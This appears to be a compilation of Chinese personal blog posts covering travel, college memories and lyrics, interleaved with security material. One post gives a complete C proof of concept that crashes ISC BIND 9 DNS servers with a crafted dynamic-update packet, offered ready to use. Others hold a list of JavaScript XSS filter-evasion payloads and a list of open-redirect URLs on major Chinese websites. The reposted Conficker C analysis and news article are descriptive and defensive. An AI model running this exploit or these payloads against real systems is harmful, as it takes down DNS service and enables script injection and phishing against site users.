Here We Go！！

那海，那石，那树，那草，那人。。。

好美的海滩，好LOFT型的别墅，当然。。。还有眼前的一对儿“非法设备”

这种3层别墅住着非常舒服，让人想起了“心碎乌托邦”。1楼客厅里一帮人玩杀人很不错的说。偷拍无处不在啊。。。

月高杀人夜呐~

日出日落仅凭这个照片是无法区分的，由此可见看问题一定要全面！否则只会“知秋一叶”。

快艇的速度看来是很快的，风很大，不过很爽，冷风吹人醒。

海天一色的感觉。。。他们都在干什么呢？

有看海的。。。

有踩水的。。。顺便说一下，远处那块儿石头上躺着真舒服，差点没睡过去一夜。看来还是不够淡定。

有大海边沉思的。。。

有美女。。。

自然就有“偷拍者”。。。不过螳螂在前，黄雀在后。杯具啊。。。

这个。。。远处有美女？或者有妖精？估计是为“偷拍者”提供支持的。

里面埋着的是一个以邪恶著称的家伙。。。

这个很赞。

我们不跟国足一般见识。。。

沙滩排球：-）

岂能少了国球？

突然有些怀念那一杆清案的感觉。。。


后记：

这个地方非常休闲非常爽，别墅、海景、人文景观等都非常不错，非常适合一家人或一帮朋友一起来玩。就是价格稍贵，略显不爽。

==============================================================

惠州三角洲岛简介

中国的首家拥有合法产权的私人海岛
　　海岛位于广东省大亚湾东部海域，是中国第一家合法的私人海岛，也是中国首家按“马尔代夫式”开发利用的海岛度假圣地，主要经营水上运动，休闲度假和房地产，同进也是国家体育总局和国际海洋潜水协会的潜水运动中心。
世外桃湖，人间仙境
　　海岛上分布有三个晶莹洁白的沙滩，一个新月形的内海湾和一个天然石雕公园，总面积约22公顷，其中陆地面积约为16公顷，由大小两个岛屿构成，退潮时两岛由沙滩相连。海岛绿树葱茏，楼阁隐现，形状各异的奇石天然成趣栩栩如生，仿佛传说中的篷莱仙岛，世外桃园。
“马尔代夫式”海岛设施
　　为保持海岛风貌，采用“马尔代夫式”低楼建筑形式，将楼宇巧妙依海岛山势逶迤错落，使每幢别墅每套房间均能观海，成为名副其实的海景客房。海岛服务设施齐全：中西餐厅，岩石咖啡廊、超市、网球场、桌球室、棋牌室、多功能歌舞厅，会议厅，沙滩运动场，令人乐而忘返。
海上运动天堂
　　俱乐部精心设计推出潜水会、风帆会、游艇会，让会员足不出国门即可领略国际目前最时尚的休闲海上体育运动，此外，各种水上、沙滩娱乐项目如海钓、香蕉船、肥仔艇、沙滩排球、足球、射箭、飞碟、飞镖、沙滩烧烤晚会丰富迷人。
封闭式会员制管理模式
　　俱乐部衽封闭式会员制管理，提供专业、优质高品味的服务，非会员可在俱乐部每年的会员推广期申请上岛。

    去了趟上海，办了些正事，寝室所有人也都到齐了，大聚了一把。

    先说说上海之于我，上海这地方亲戚其实也不少，最早不记事的时候就去过了。最近一次来上海是大二假期，总体而言，不陌生但也不熟悉。

    几件高兴的事：

      1.沾了喜庆的光。

      2.见到了寝室以及大学的一些朋友。

      3.处理了一些不容易处理的事情，很是欣慰。

    因为时间太赶，几件遗憾的事：

      1.没有去看望iris同事和benjurry总。也没有去看望以前的2个家里的好哥们，并且甚至没有通知那些亲戚，没有见到小弟小妹们。

      2.没有去苏州，结果误了一些重要的事。

      3.没机会组织一下上海校友的聚会，因此错过了n多大学校友的碰面。

      4.19号晚上在南京路上的渝信川菜几乎没有喝点的小糊涂仙酒，这是自喝酒以来的第一次，很惭愧。

      5.还有该想到的不该想到的该遗憾的不该遗憾的种种。

    几件愤怒的事情：

      1.朋友跟他媳妇送我去机场的路上，他媳妇突然晕倒，我们赶忙找车去医院，可是好几辆上海出租车司机竟然不停车！与之相比，却有外国老太太递水过来并且帮忙去拣我扔在一边的笔记本包！多少年过去了，上海一些出租车司机的素质还是那么低，没有人性，见死不救，真是丢人啊！有这样的出租车司机，上海纵使再举办10次世博，在国际都市里也还只是二流小乡镇。也同样是素质，决定了国人的路还很长，大国强国路还很长。实在是丢人啊，也望想要移居上海的同胞三思，在上海碰到这种紧急情况时，上海出租车司机未必会停车。

      2.飞回深圳后，觉得后脑勺微疼，结果几个朋友打电话过来，已经有朋友去医院了，怀疑中午吃饭的xx火锅菜或酒有问题，众人都有明显的反映。我喝的最多，到了飞机上就睡着了，再睁开眼后已经快到了。目前为止没感到有啥不适，但酒精中毒的反应时间在12~24个小时内，我得注意了。以前都说xx人是大骗子，现在想想，上海同胞们也要当心自己人啊。

lake2不知道从哪里多搞来一件，有个洞，不能穿，观望一下，膜拜一下，洗洗睡了。

不得不说的是这件正面右侧有个洞。。。不知道可否被 exploit 。。。

偶尔看到，背景音乐很耐听。

这段MV中的文字也还行，剥离出来，摘录如下：

我一直不愿意承认你是我生命中的过客

当令你快乐的一切不能再令你快乐

当令你悲哀的一些不能再令你悲哀

甚至激怒你的一切不能再激怒你的时候

是不是很可怕？

一位哲人曾说过：这就叫做苍老

再想起你，你的名字，你的笑，你的一切

都只能加上“别人的”

再想起我们在一起的事

也只能加上一个“曾经的”

有些情怀是指甲

剪掉了还会重生

无关痛痒

而有些情怀是牙齿

失去以后永远有个疼痛的伤口无法弥补

对的时间 遇见对的人 是一生幸福

对的时间 遇见错的人 是一场心伤

错的时间 遇见错的人 是一段荒唐

错的时间 遇见对的人 是一生叹息

我一直不愿意承认你是我生命中的过客

爱一个人

不要随便牵手

更不要轻易放手

时间过了

爱情淡了

相爱的人也真的就散了吗？

有些人是一直会刻在生命里的

哪怕

忘记了他的声音

忘记了他的笑容

忘记了他的脸

可是每次想起他的那种感受

却永远不会变。。。。。。

-------

果然是痴女的歌痴女的曲痴女的MV。。。

ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC

/*
    ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC
    "Based on:
    http://www.securityfocus.com/data/vulnerabilities/exploits/35848.txt
    by kingcope - this is basically a rewrite of the above, lame i know, but fun enough
    
    for the [zone] argument you can try what is in the named.conf with "type master"
*/
 
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
 
#define PORT 31337
 
struct dnspkt1 {
    unsigned short transact;
    unsigned short flags;
    unsigned short zones;
    unsigned short pr;
    unsigned short updates;
    unsigned short rrs;
};
 
struct dnspkt2 {
    unsigned short type;
    unsigned short class;
    unsigned short name2;
    unsigned short type2;
    unsigned short class2;
    unsigned short ttl1;
    unsigned short ttl2;
    unsigned short datalen;
    unsigned short name3;
    unsigned short type3;
    unsigned short class3;
    unsigned short ttl3;
    unsigned short ttl4;
    unsigned short datalen2;
};
 
int packdomain(char * dest, const char *src)
{
  int i,n,cnt;
 
  n=strlen(src);
  dest[n+1]=0;  // terminator
 
  cnt=0;
  for (i=n; i>0; i--)
  {
    if (src[i-1]=='.')
    {
      dest[i]=cnt;
      cnt=0;
    }
    else
    {
      dest[i]=src[i-1];
      cnt++;
    }
  }
  dest[0]=cnt;
  return n+2;
}
 
int main(int argc, char **argv) {
    int sockfd, clilen;
    struct sockaddr_in serv_addr, cli_addr;
    struct dnspkt1 d1;
    struct dnspkt2 d2;
 
    printf("ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC\n");
    printf("Based on:\n");
    printf("http://www.securityfocus.com/data/vulnerabilities/exploits/35848.txt\n");
    printf("by kingcope - this is basically a rewrite of the above, lame i know, but fun tough\n");
 
    if (argc < 2) {
        printf("usage: %s <host> [zone]\n", argv[0]);
        return 0;
    }
 
        sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sockfd < 0) {
                printf("error on socket() call");
                return -1;
        }
 
        memset(&serv_addr, '\0', sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_addr.s_addr = INADDR_ANY;
        serv_addr.sin_port = htons(PORT);
 
        if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
                printf("error binding socket\n");
                return -1;
        }
    
        memset(&cli_addr, '\0', sizeof(cli_addr));
        cli_addr.sin_family = AF_INET;
        cli_addr.sin_addr.s_addr = inet_addr(argv[1]);
        cli_addr.sin_port = htons(53);
    
    memset(&d1, '\0', sizeof(d1));
    memset(&d2, '\0', sizeof(d2));
    d1.transact = htons(0x1cd6);
    d1.flags = htons(0x2800);
    d1.zones = htons(0x0001);
    d1.pr = htons(0x0001);
    d1.updates = htons(0x0001);
    d1.rrs = 0;
    char *name = (char*)malloc(8096);
    char nam[1024];
 
    if (argc < 3) {
        /* Not sure if this is right to set as default, have no clue about dns proto
           It works for me.. */
        strcpy(nam, "127.in-addr.arpa");
    } else {
        strncpy(nam, argv[2], sizeof(nam));
        nam[sizeof(nam)-1]=0;
    }
 
    int n=packdomain(name, (char*)nam);
    d2.type = htons(0x0006);
    d2.class = htons(0x0001);
    d2.name2 = htons(0xc00c);
    d2.type2 = htons(0x00ff);
    d2.class2 = htons(0x0001);
    d2.datalen = 0;
    d2.name3 = htons(0xc00c);
    d2.type3 = htons(0x00ff);
    d2.class3 = htons(0x00ff);
    d2.ttl1 = 0;
    d2.ttl2 = 0;
    d2.ttl3 = 0;
    d2.ttl4 = 0;
    d2.datalen2 = 0;
 
    char buffer[10000];
    memcpy(buffer, &d1, sizeof(d1));
    memcpy(buffer+sizeof(d1), name, n);
    memcpy(buffer+sizeof(d1)+n, &d2, sizeof(d2));
 
    clilen=sizeof(cli_addr);
    
    sendto(sockfd, buffer, sizeof(d1)+sizeof(d2)+n, 0, (struct sockaddr *)&cli_addr, sizeof(cli_addr));
    printf("aight!\n");
    return 0;
}

不废话，直接上王道。

    他的这些话语只有一起经历过的人才能明白。我愿跟随它们让自己回到大学时代，那梦绕思绪多的时代。

================================================================================

趁着身上浓郁的酒气还在，
趁着昨晚拥抱的温度还在，
趁着深情的歌声还在耳边萦绕，
趁着放纵的舞姿还在眼前浮现，
我要记录的，
是那些出现过就无法忘却的怀念。

忘不了的，是N老师在咱班敬酒时的豪放，喝酒时湿润的眼眶
忘不了的，是老师和计科3男生吹瓶时的高涨，临走时合影的爽朗
忘不了的，是计科1童鞋们满腔的热情无疆，女生们梦幻的舞姿无双，ZHB老师歌舞兼备的大方
忘不了的，是网3L童鞋烂醉如泥的感伤，抢着和老师拥抱时的昂扬
忘不了的，是网2童鞋贴心的面汤，合声里抱头痛哭的光芒
忘不了的，是怎么也抱不够的拥抱，道不尽的不舍，喝不完的离别酒，唱不完的不了情
忘不了的，是每一个气宇轩昂的童鞋，哭哭笑笑，走走停停，在酒精和泪水中祭奠属于自己的芬芳

还记得大一刚入学时的青涩，和周第一次去学校浴室的新鲜，第一次在心理健康课演讲的紧张
还记得在创新和凯达永无休止的争执，第一次做数模的笨拙，第一次看见胡师兄程序时的羡慕，第一次听到吕师兄传闻时的向往
还记得学生会，第一次编导话剧的理想，第一次登台主演的难忘，胡师姐对我的信任与帮忙
还记得受伤前为了国家一等奖学金，在运动场上跟着马哥拼了命的训练，心底坚定要快过GB的力量
还记得受伤后，办理休学时，GB为我说实话时我内心执着的信仰

还记得临走时，全班童鞋给我送行的拳拳真情，小昕一路送上火车的体贴，路上聊彼此时的悠扬
还记得复学回来，寝室6人第一次通宵唱歌的兴奋，都要独当麦霸的倔强

还记得带给4位女生的礼物，宝愉的米奇发卡，L晨的五彩船袜，小燕儿居家的相框
还记得那年零下17度的冬天，和LM三人爬下水管道去吃巴蜀的狂想，三宝粥店的销魂，无处取暖的凄凉
还记得项目组聚会的谈笑风生，公寓拐角聚会的酣畅淋漓，网041和042爬大黑山的年少轻狂
还记得送凯达去轻轨一路上的难受，听闻双飞哭避而不谈的懦弱，看到小佟写L苑时心情复杂难当

还记得大一深夜斗地主的亢奋，输了脱衣服让6个裸男互相抢被子乐趣非常
还记得输了也会要身披毛巾被，手持笤帚簸箕，在走廊扮演超人的搞笑非常
还记得选傻B斗地主，每轮都有一个傻B蹲在一边观望
还记得周飘逸的傻大木舞姿，宝爷的一脉动，五盘盖饭，李的100杯咖啡，开发区医院的恐慌
还记得小马偷吃面包的猥琐，每天梳头的自恋，发明衣柜自动清洁法的智商，XXX天不洗澡的辉煌
还记得王第一天和我买电话卡被骗的经过，骑车去银行为了验证日元汇率打赌的疯狂
还记得大一在寝室不停挪动床柜的风骚，3张床并排的嚣张
还记得第一个国庆节，小马老家牛肉的美味，9天吃掉无数食物的不良
还记得刚开始卧谈的那些黄段子，李从一而终装13如常
还记得那年暑假，德礼磊哥周杀人游戏的快乐无边，第一次在海里打排球的激昂
还记得那些关键字，大杀器，共产大神，千里牌，狗腿子，无间道，“怪我”，“你买不起”，“12点之前禁止吹牛逼”，“人齐有福”
还记得夜里睡觉的那些交响乐，小马磨牙，周起夜，李大跳下床，我说梦话（不是普通话、不是芜湖话、不是英语）
还记得99块在东来顺吃的那个HIGH，丰泽居调戏过的服务员MM
还记得“离散图论闭包大战”，把GB都打傻了~
还记得教会了晓鹏DOTA，从此晓鹏就踏上了不归路。。。
还记得在拐角，每晚熄灯后睡觉前大家都会在走廊里唠一会儿，互相摸摸捏捏，打打闹闹。。

还记得去年的大黑山，国通杀人夜，以及没参加上的发现王国之旅
还记得去年的各种散伙饭，聚的是所剩无几的挥霍，散的是挥之不去的惆怅

如果可以选择，当年不会那么卖力，为了训练，为了奖学金
如果可以放弃，手术也只是为了日后更珍贵的相遇
如果可以舍得，醒悟就不会姗姗来迟，难以言喻
如果可以重逢，我们今天的别离就是最美好的证据

如果还有如果

我从不后悔曾经做过的决定
从不后悔来到05之后经历的种种事情
从不后悔选择了大连民族学院，来到大连这片让我心中开花的圣地
从不后悔遇见的每一个你，我的朋友们，这大学5年里一路走过的点点滴滴
以此记录我们的相识，相知，相惜，这即将封存却难以忘怀的记忆

========================================================================================

JavaScript for hackers

By garethheyes · 22 Apr, 2009

Published in: xss, javascript, getter, filters, regex

'XSS'.replace(/XSS/g,alert)

'somestring'.replace(/some/,function($1){//do something with some})

.replace(/.+/,eval)//

<script>somevariableUnfiltered="YOUR INPUT"</script>

\u0061\u006c\u0065\u0072\u0074(1)

\u0061lert(1)

eval('\\u'+'0061'+'lert(1)')

+alert(1)--

+alert(1)
1/alert(1)
alert(1)>>>/abc/

throw delete~typeof~alert(1)

delete alert(1)

delete~[a=alert]/delete a(1)
delete [a=alert],delete a(1)

stop, open, print && alert(1)

javascript : /is/^{ a : ' weird ' }[' & wonderful ']/" language "
the_fun: ['never '] + stop['s']

defineSetter('x',alert); x=1;

location='javascript:%61%6c%65%72%74%28%31%29'

location='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c %75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)'

        跟奋斗在行业第一线的同胞们传递一下感受，平时一定要注意身体锻炼，特别是常坐办公室的各位，一定要“忌久坐，忌久站”。常做下腰部颈部保健操。不然。。。不论以前身体有多好，都会是一个巨大的隐患。医生的话“吓”到了我，不知道我的话有没有“吓”到你呢？

PS:有些是收费广告链接，那就不说啥了，好好赚钱吧。

和讯跳转
http://wizard.stock.hexun.com/other/tj.aspx?p=135&url=http://hi.baidu.com/harite

51统计跳转
http://tj.51.com/?formType=3201&go=1&url=http://hi.baidu.com/harite

sohu跳转
http://doc.go.sohu.com/200803/eabe8074ec19493e28518d97dcffc66d.php?url=http://hi.baidu.com/harite

http://adc.go.sohu.com/200701/eaf743c3305b93fb4b50889ed398f0fc.php?url=http://hi.baidu.com/harite

mop分页，引入任意frame
http://tt.mop.com/main.jsp?url=http://hi.baidu.com/harite

网易163网站跳转
http://%70ro.163.com/\/\event.ng/Type=&Redirect=http://hi.baidu.com/harite

ChinaZ统计系统网站跳转(302协议跳转)
http://alexa.chinaz.com/redirect.asp?id=url=httep://bsog.cn/index.asp=&url=hi.baidu.com/harite

优酷跳转
http://hz.youku.com/red/click.php?tp=1&cp=2009185&cpp=1000093&url=http://hi.baidu.com/harite

其他还有博客之类的很多，但影响力低于以上。

如果你有渠道通知他们修正，那是万分感谢的 :-)

1.她很想陪着你，即使是在网上，一句话都不说。你开心的时候，她很想在你身边看到你微笑的样子。你失落的时候，她第一时间在你旁边安慰你，想破脑袋想帮你。你熬夜到很晚，她的QQ或者msn陪你一起亮着。如果你下线了，再登录一看，她的头像就暗了。你知道吗？她熬到那么晚只是在等你。

2.懂事，知道什么时候该撒娇，什么时候该像爱小孩子一样疼惜你。如果你是个学生，她不会任性地要求你翘课陪她逛街，不会让没有经济来源的你买奢侈品。如果你已经工作，她不会埋怨你忘记打电话给他，不会在你工作烦心的时候要你甜言蜜语，即使自己心情再不好，也会轻轻拥着你，始终站在你这边。

3.不放过任何与你有关的信息，融入你的生活圈，朋友圈。结识你的朋友，链接任何在你空间留言的朋友的页面，看你喜欢的电影和书，去你喜欢的餐厅，逛你喜欢的品牌店，甚至笨拙地模仿你欣赏的异性类型。她不是不够好，而是想变得更好，更适合你，更容易得到你的认可和赞许。

4.她绝不会在你同事同学家人朋友面前提你的缺点，嘲笑你，哪怕只是玩笑。她可能觉得你这么做那样做不对，但会给足你男人需要的面子，帮你打圆场，帮你找台阶下，只晒幸福，只说你的好。

5.她需要你的肩膀，但是绝不会凡事都依赖你。她在你面前很弱势，常常需要你来把持局面。不是她笨，只是喜欢在你面前装傻，喜欢被你照顾。但她不会粘着你，把你当保姆，该独立的时候她可以一个人。

6.她不会总是要求你先让步。男生要懂得包容和迁就，不是因为她是女人，而是因为你是男人。但她绝不会因此被宠坏而从头至尾都等着你主动向她道歉，而是会很小心翼翼地跟你撒娇，求得你的原谅。

7.她发给你的短信几乎不会有错别字，不会有歧义。她很注重跟你在一起时的一切细节，连发消息之前都会反复确认好几遍，措词，语气，甚至表情。

8.她和你朋友一起聚会时候会打扮得漂亮但不会妖艳，只会在你面前偶尔穿很火辣的衣服。她永远会把你与其他男生区别对待，而不是总是孔雀开屏般向所有人展示美丽。

9.看到女人围着你转，她会吃醋，那些女人很优秀，她更容易吃醋，但是不会无理取闹，兴师问罪。她关心你，在乎你，想要抓住你。只要你肯耐下心，不要吝惜让她安心的话。她需要的只是一句别人听不到只有她能听的话。

10.她也许会有很多异性朋友，也许不乏追求者，但是她会明确告诉他们她喜欢的是你，而且不会拿这些人的优点跟你作比较。她会时不时告诉你谁谁谁要追她，看到你紧张的表情，会很满足地加一句，我心里只会有你一个人o(∩_∩)o…不是她无聊，她很需要被重视。

11.好女孩还是孝顺的。她不仅懂得孝顺自己的父母，还懂得尊老爱幼，把自己的温柔和细腻发挥到淋漓尽致，让人如沐春风。

12.好女孩懂得尊重感情。真正好的女孩无论是不是曾经被感情伤害，都不带怨恨，从来不说前男友的坏话。把过去，无论痛苦还是甜蜜的回忆都深藏在自己的心里，当成一种成长，一种历练。

13.好女孩天真里带有一丝童趣。总能以最纯洁且友善的眼光去看待别人。在她们的眼里，是不乏美丽的，因为她们的目光只是追逐美丽，不会为丑陋侵袭。

14.好女孩喜欢听舒缓的音乐，不泡吧，不熬夜。把生活打理的安静而甜蜜，把每一份爱情当成一生的爱情来经营。每一次的投入都是彻底的，每一次的离开都是干脆的。她们既温柔，也勇敢。

15.好女孩总有几个闺密。不只是粘着男友，懂得和朋友分享自己的幸福和喜悦，还有成长的烦恼。

16.好女孩闲暇时间会读很多书。在书籍里开拓视野，增长知识，提升心智。在书里寻求一种安静的成长。

----

转载自“http://hi.baidu.com/kingpheonix/blog/item/a674077b15d036fc0bd187a6.html”

转自“http://mtc.sri.com/Conficker/addendumC/”，省略了一些章节，原因是百度日志长度的限制。

SRI International Technical Report
Addendum Conficker C Analysis Phillip Porras, Hassen Saidi, and Vinod Yegneswaran http://mtc.sri.com/Conficker Release Date: 08 March 2009 Last Update:   19 March 2009
Computer Science Laboratory SRI International 333 Ravenswood Avenue Menlo Park CA 94025 USA

-- NOTICES -- This draft document represents an analysis in progress and is subject to continual enhancement, error correction, and improvement

Introduction

This addendum provides an evolving snapshot of our understanding of the latest Conficker variant, referred to as Conficker C.   The variant was brought to the attention of the Conficker Working Group when one member reported that a compromised Conficker B honeypot was updated with a new dynamically linked library (DLL). Although a network trace for this infection is not available, we suspect that this DLL may have propagated via Conficker's Internet rendezvous point mechanism (Global Network Impact).   The infection was found on the morning of Friday, 6 March 2009 (PST), and it was later reported that other working group members had received other DLL reinfections throughout the same day.   Since that point, multiple members have reported upgrades of previously infected machines to this latest variant via HTTP-based Internet rendezvous points. We believe this latest outbreak of Conficker variant C began first spreading at roughly 6 p.m. PST, 4 March 2009 (5 March UTC).   

In this addendum report, we summarize the inner workings and practical implications of this latest malicious software application produced by the Conficker developers.   In addition to the dual layers of packing and encryption used to protect A and B from reverse engineering, this latest variant also cloaks its newest code segments, along with its latest functionality, under a significant layer of code obfuscation to further hinder binary analysis.   Nevertheless, with a careful mixture of static and dynamic analysis, we attempt here to summarize the internal logic of Conficker C.

Conficker C Overview

Figure 1: Overview of Conficker C

Conficker C installs itself into the user file system and configures the registry appropriately to invoke its DLL at host startup.   It also inserts a variety of extraneous registry keys that are subsequently unused, presumably to cloak its presence (Obfuscating C's Installation and Its Presence).   It copies itself into a randomly named DLL located in either the System32 directory, program files directory, or the user's temporary files folder. It deletes all restore points prior to its infection to thwart rollback. C then performs a simple validation of its DLL size, and suicides if this check fails. It sets the DLL's date to the same date as the local kernel32.dll, and sets NT File System (NTFS) file permissions on its stored file image to prevent write and delete privileges. Once installed, the DLL spawns a remote thread, which it attaches to the netsvcs.exe or svchost.exe process, depending on the OS version.

The core elements of Conficker C are incorporated into two threads: a P2P communication thread, and the domain generation and Internet rendezvous point thread. The first thread is embodied in a code segment that has undergone an additional layer of code obfuscation, suggesting a desire by the Conficker authors to hinder its analysis, and thereby providing an obvious point for in depth inspection.   We describe the P2P protocol in Peer to Peer Logic. The P2P protocol includes an ability to coordinate with peers over TCP and UDP channels, as well as download and run digitally signed Win32 binaries. Incorporated with the P2P thread is anti-tracing logic that will kill the Conficker C process when run under a debugger. This logic was removed for this analysis. Conficker C also incorporates an HTTP date check function, which is discussed within Peer to Peer Logic.   

省略

In-Situ Analysis - Sandbox Operations

We used dynamic sandbox monitoring techniques to evaluate the interactions of Conficker C when operating live on the Internet. The release used for this analysis was monitored and filtered such that it would not cause harm to other external hosts while these experiments were being conducted.

We describe the network profile of a Conficker C infected host during a 30-minute sandbox execution. Since our current experiments were conducted in early March 2009, we did not see the HTTP rendezvous point lookups. We expect this activity profile to change on 1 April.   During our pre 1 April sandbox run, we observed the following network effects, which are illustrated in Figure 9.

Figure 9: Pre 1 April 2009 short-term network traffic profile



Figure 10: Post 1 April 2009 6-hour network traffic profile

Conclusion

We present an analysis of Conficker Variant C, which emerged on the Internet at roughly 6 p.m. (PST) on 4 March 2009. This variant incorporates significant new functionality, including a new domain generation algorithm and a new peer-to-peer file sharing service.   Absent from our discussion has been any reference to the well-known attack propagation vectors (RCP buffer overflow, USB, and NetBios Scans) that have allowed C's predecessors to saturate so much of the Internet. Although not present in C, these attack propagation services are but one peer upload away from any C infected host, and may appear at any time.   C is, in fact, a robust and secure distribution utility for distributing malicious content and binaries to millions of computers across the Internet. This utility incorporates a potent arsenal of methods to defend itself from security products, updates, and diagnosis tools. It further demonstrates the rapid development pace at which Conficker's authors are maintaining their current foothold on a large number of Internet-connected hosts. Further, if organized into a coordinated offensive weapon, this multimillion-node botnet poses a serious and dire threat to the Internet.

Our report represents one of many Conficker analysis studies going on throughout the whitehat community, and we are in direct contact with numerous groups that will produce additional details, and will help clarify errors that exist in this report. This report is a living document, and we will update it regularly, as our understanding of variant C continues to grow.

Acknowledgments

We would like to thank Drew Dean from SRI's Computer Science Laboratory for his assistance in understanding the binary validation routine.    We would like to thank Bruce Dang from Microsoft for his assistance in understanding the mutex key generation.   We would like to thank Arvind Narayanan from the University of Texas at Austin for his collaboration in the developing the Horizontal Malware Analysis tool shown in Appendix 2.

References

[4] P.A. Porras, H. Saidi, and V. Yegneswaran. "A Multiperspective Analysis of the Storm Worm. SRI Technical Report, 2007. http://www.cyber-ta.org/pubs/StormWorm/

[12] Eric Chien, "Downadup: Peer-to-Peer Payload Distribution," 2009.
http://myitforum.com/cs2/blogs/cmosby/archive/2009/01/22/downadup-peer-to-peer-payload- distribution-symantec-security-response-blog.aspx

[15] Jose Nazario, "The Conficker Cabal Announced," Arbor Networks, 12 February 2009.
http://asert.arbornetworks.com/2009/02/the-conficker-cabal-announced/

[16] SRI International, "A Comparative Assessment of Conficker B++ vs Conficker C," 06 March 2008.
http:/mtc.sri.com/Conficker/addendumC/HMA_Compare_ConfB2_ConfC/

[17] CAIDA, "Conficker/Conflicker/Downadup as seen from the UCSD Network Telescope," February 2009.
http://www.caida.org/research/security/ms08-067/conficker.xml

Appendices

Appendix 1 Embedded Strings Within Conficker C

We have extracted and categorized the set of strings that are embedded in the Conficker C binary. The full set of embedded Conficker C strings is listed HERE.

Appendix 2   Domain Generator Filtered Address Ranges

We have isolated the full set of IP address ranges that are used to prefilter all IP addresses produced by the Conficker C domain generation algorithm. This blocklist is shown HERE.

Appendix 3   A Comparative Assessment of Conficker B and C Process Images

This is a comparative assessment of the Conficker B++ vs. Conficker C disassembled process images. The complete comparative assessment of B++ vs C is available HERE.

Appendix 4   Sandbox Results from Running Conficker C

This appendix shows a forensic analysis of the Conficker C binary as captured through dynamic network analysis and sandbox testing. See the full list of forensic results HERE.

Appendix 5   API Recovery Table

This appendix maps the set of obfuscated APIs to their code offsets. The map is useful for a reverse engineering analyst to understand the P2P protocol logic. See the API list HERE.

愚人节黑客可能发动史上最强网络攻击

在默默感染全世界超过1500万台电脑之后，被微软研究人员戏称为“蠕虫模范”的Conficker蠕虫病毒即将露出其狰狞的面目。3月25日，国内最大的网络安全厂商360安全中心发布预警称，Conficker蠕虫病毒的作者很可能在4月1日起发动一场史无前例的全球性网络攻击，届时包括百度、开心网、迪斯尼、IBM等在内的上百家全球大型网站极有可能面临服务器瘫痪、用户无法访问的巨大风险。几乎同一时间，两大国际知名安全机构冠群金辰、趋势科技也紧急针对该病毒发布了愚人节预警信息。     神秘Conficker布下“愚人节迷局” 曾让法国战机停飞     360安全专家石晓虹博士表示，根据360安全中心截获的Conficker蠕虫病毒及其变种的样本分析，该病毒作者极有可能从4月1日起，控制其所感染的上千万台“僵尸”电脑，自动向全球上百家大型网站发送网络数据，攻击形式极可能是针对网络服务器的DDOS主流攻击，攻击目标主要是全球排名靠前的大型互联网站和企业站点，百度、腾讯搜搜、开心网、校内网等4家等国内人气极高的网站也赫然在列。     “Conficker.C蠕虫正在它所感染的电脑中进行休眠的死循环，一旦系统时间到2009年4月1日之后，它就会清醒过来，在一系列浮点运算后向上百家预先指定的网站发送数据包，以Conficker.C在全球多达上千万台电脑的感染量来判断，它们所组成的僵尸网络在互联网世界中威力不亚于核武器，任何一家网站的服务器在这样高强度的攻击压力下都会迅速瘫痪，而这些攻击目标很可能是Conficker作者在Alexa流量排名中选取的高排名站点。”360安全中心的工程师分析称。     据了解，Conficker蠕虫在去年11月首次现身在互联网中，它利用Windows操作系统MS08-067漏洞将自己植入未打补丁的电脑，并以局域网、U盘等多种方式传播。一位法国士兵便是在家使用U盘中了Conficker，随后法国海军内网被大面积感染，军方如临大敌，不仅切断所有Web与电邮系统，部分战机的起飞计划也被突然叫停。随后，英国、德国的军事系统也爆出大面积感染Conficker蠕虫的消息，其传播能力与影响力可见一斑。     诡异的是，在疯狂感染全球电脑之余，Conficker蠕虫的行为却出奇地“安分守己”。从表面上来看，“它一不为名——不倒计时60秒、不拥堵网络、不弹窗、不穿透还原、不让众人皆知；二不图利——只是隐藏起来而不窃网银网游，甚至连攻击失败导致用户电脑系统崩溃或登录失败的案例也很少见。”微软中国公司资深安全研究人员“大牛蛙”（网名）在其个人博客中如此写道，“堪称是全球蠕虫的‘模范’。”     难道在韬光养晦4个多月后，Conficker作者的最终目标仅仅为了在愚人节发起一次大规模网络攻击？对此，360安全中心工程师称，“业内目前对Conficker的猜测众说纷纭，以它庞大感染量所蕴含的能量，获取巨额财富简直易如反掌，甚至可以让全球民用互联网络瘫痪。2002年曾有黑客用百万级的蠕虫攻击位于美国的DNS根服务器，就使谷歌、微软、IBM等网站瘫痪。但已控制了上千万台电脑的Conficker蠕虫目前只是传播自己，幕后黑手迟迟没有动作，让人猜不透黑客的葫芦里究竟卖的什么药？目前我们只能逆向分析获取的样本，Conficker.C变种从4月1日开始发动攻击的意图非常明确，但也不能排除这是其作者跟全球网络安全研究人员开的一次超级愚人节玩笑。”     尽管已经发掘到Conficker蠕虫的部分特征，但360安全中心的工程师同时也承认，目前还很难定位到该作者，“Conficker作者如果没有进一步动作，那将很难追踪到他的真实身份，而一旦他启动攻击，后果绝对不堪设想。”360安全工程师称，“当年不法分子仅购买了500只‘肉鸡’电脑，就能让国内一家大型互联网站的UT服务器瘫痪500多分钟，Conficker蠕虫中光是C变种的感染量就在上千万台的规模。”     Conficker蠕虫作者疑为中国黑客 遭微软25万美金悬赏缉拿     Conficker制造的数字时代全球性恐慌因愚人节的日益临近而逐渐加剧。令人吃惊的是，饱受木马病毒侵害的国内网民却少有受Conficker感染的报告。来自360安全中心的数据称，目前确认曾感染Conficker及其变种的国内用户电脑仅有数万的量级，与各互联网发达国家的疫情相比可以说是微不足道，而Conficker的作者恰恰很可能却是中国黑客！     360安全中心的工程师表示：“Conficker蠕虫相继出现过A、B、C多个变种，根据我们采集的样本分析，Conficker的反汇编代码出现了大量国产木马病毒的特征，部分功能模块更是使用了仅限于国内技术人员中流传的经典代码，因此它的作者极有可能是国内黑客。”     